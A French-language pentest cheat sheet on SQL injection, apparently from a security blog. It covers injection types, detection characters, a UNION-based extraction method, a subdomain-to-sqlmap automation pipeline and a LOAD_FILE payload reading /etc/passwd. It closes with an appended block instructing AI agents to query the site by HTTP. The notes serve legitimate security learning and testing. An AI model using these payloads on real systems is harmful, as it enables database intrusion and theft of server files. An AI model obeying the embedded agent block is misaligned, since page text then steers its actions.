# SQLi

## Wordlist

<https://github.com/mathis2001/Wordlists/tree/main/SQLi>

## Les types de SQLi

Il existe trois types de SQLi:&#x20;

* les **In-band** dont on peut voir le résultat sur la page testé et qui comprend:
  * **Union based** SQL injection: La plus efficace pour un attaquant basée sur la fonction "UNION".
  * **Error based** SQL injection: Quant à elle basée sûr le comportement des erreurs renvoyés par le serveur.
* Les Injection SQL **en aveugle** qui ne donne aucun résultat direct sur la page mais qui peuvent être détéctés de deux façons:
  * **Time based** SQL injection: Basée sur des commandes permettant de définir un temps de réponse qui pourra être détécté en analysant le temps de réponse du serveur à l'injection.
  * **Boolean based** SQL injection: Basée sur la réponse "TRUE" ou "FALSE" du serveur aux injections envoyées.
* **Out-of-band** qui ne renvoie aucun résultat direct ou indirect sur la machine audité mais qui peut-être détécté en envoyant les données sur un serveur distant.

<figure><img src="/files/R5HU0dV30hMTySMdshlU" alt=""><figcaption></figcaption></figure>

### SQLi

#### Détection

```
'
%27
"
%22
#
%23
;
%3B
)
*
&apos;

Essayer de faire des opperations:
id=1332-1 => id=1331
```

#### Méthodologie

Points d'injection:

* Dans le champ du paramètre (ex: page.php?login=\<payload>)
* Directement dans un paramètre (ex: page.php?\<payload>=...)
* Dans le path (ex: page\<payload>/)
* Dans le header (user-agent:, referer:, cookies:)

Etapes:

1. Tenter de générer une erreur avec une entrée invalide ou un caractère spécial indiquant la présence d'une possibilité d'injection
2. Trouver le nombre total de colonnes dans la table avec les commandes "ORDER BY" et "GROUP BY"
3. Trouver des colonnes vulnérables avec des opérateurs "UNION"
4. Extraire les informations basiques telles que database(), version(), user(), uuid() avec "CONCAT()" ou "GROUP\_CONCAT()"
5. Extraire les tables complètes avec le nom des colonnes (extraire le plus d'infos possible avec la commande "GROUP\_CONCAT()"
6. Vérifier les privilèges pour les fichiers avec "FILE\_PRIV"
7. Accéder au système avec la commande "LOAD FILE()"

Méthode 2:

1. Essayer de faire des operations (id=1332-1 => id=1331)
2. Essayer d'ajouter des caractères utilisés dans les requêtes SQL tels que ' " # afin de générer des erreurs
3. Tenter des injections génériques (id=1331 AND 1=1 / id=1331 AND 1=2)
4. Faire de même en ajoutant la synthaxe de commentaire à la fin (--,#)
5. Utiliser des outils automatique si les tests sembles positifs

Méthode pour automatiser la détection de SQLi:

1. $sublist3r -d target.com -o subdomains.txt
2. cat subdomains.txt | httpx | tee -a alive.txt
3. cat alive.txt | waybackurls | tee -a urls.txt
4. gf sqli urls.txt >> possible\_sqli.txt
5. sqlmap -m sqli.txt --dbs --batch

### Payload SQL => LFI

' UNION ALL SELECT LOAD\_FILE ('/etc/passwd')

## Synthaxe version

| Microsoft, MySQL | `@@version` |
| ---------------- | ----------- |
| Oracle           | `v$version` |
| PostgreSQL       | `version()` |

## Synthaxe commentaires

| Oracle     | <p><code>--comment</code><br></p>                                                                                                        |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| Microsoft  | <p><code>--comment</code><br><code>/*comment*/</code></p>                                                                                |
| PostgreSQL | <p><code>--comment</code><br><code>/*comment*/</code></p>                                                                                |
| MySQL      | <p><code>#comment</code><br><code>-- comment</code> \[Notez l'espace entre les tirets et le commentaire]<br><code>/*comment*/</code></p> |

## Synthaxe concatenation

| Oracle     | `'foo'\|\|'bar'`                                                                                                           |
| ---------- | -------------------------------------------------------------------------------------------------------------------------- |
| Microsoft  | `'foo'+'bar'`                                                                                                              |
| PostgreSQL | `'foo'\|\|'bar'`                                                                                                           |
| MySQL      | <p><code>'foo' 'bar'</code> \[Notez l'espace entre les deux chaînes de caractères]<br><code>CONCAT('foo','bar')</code></p> |


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/injections/sqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
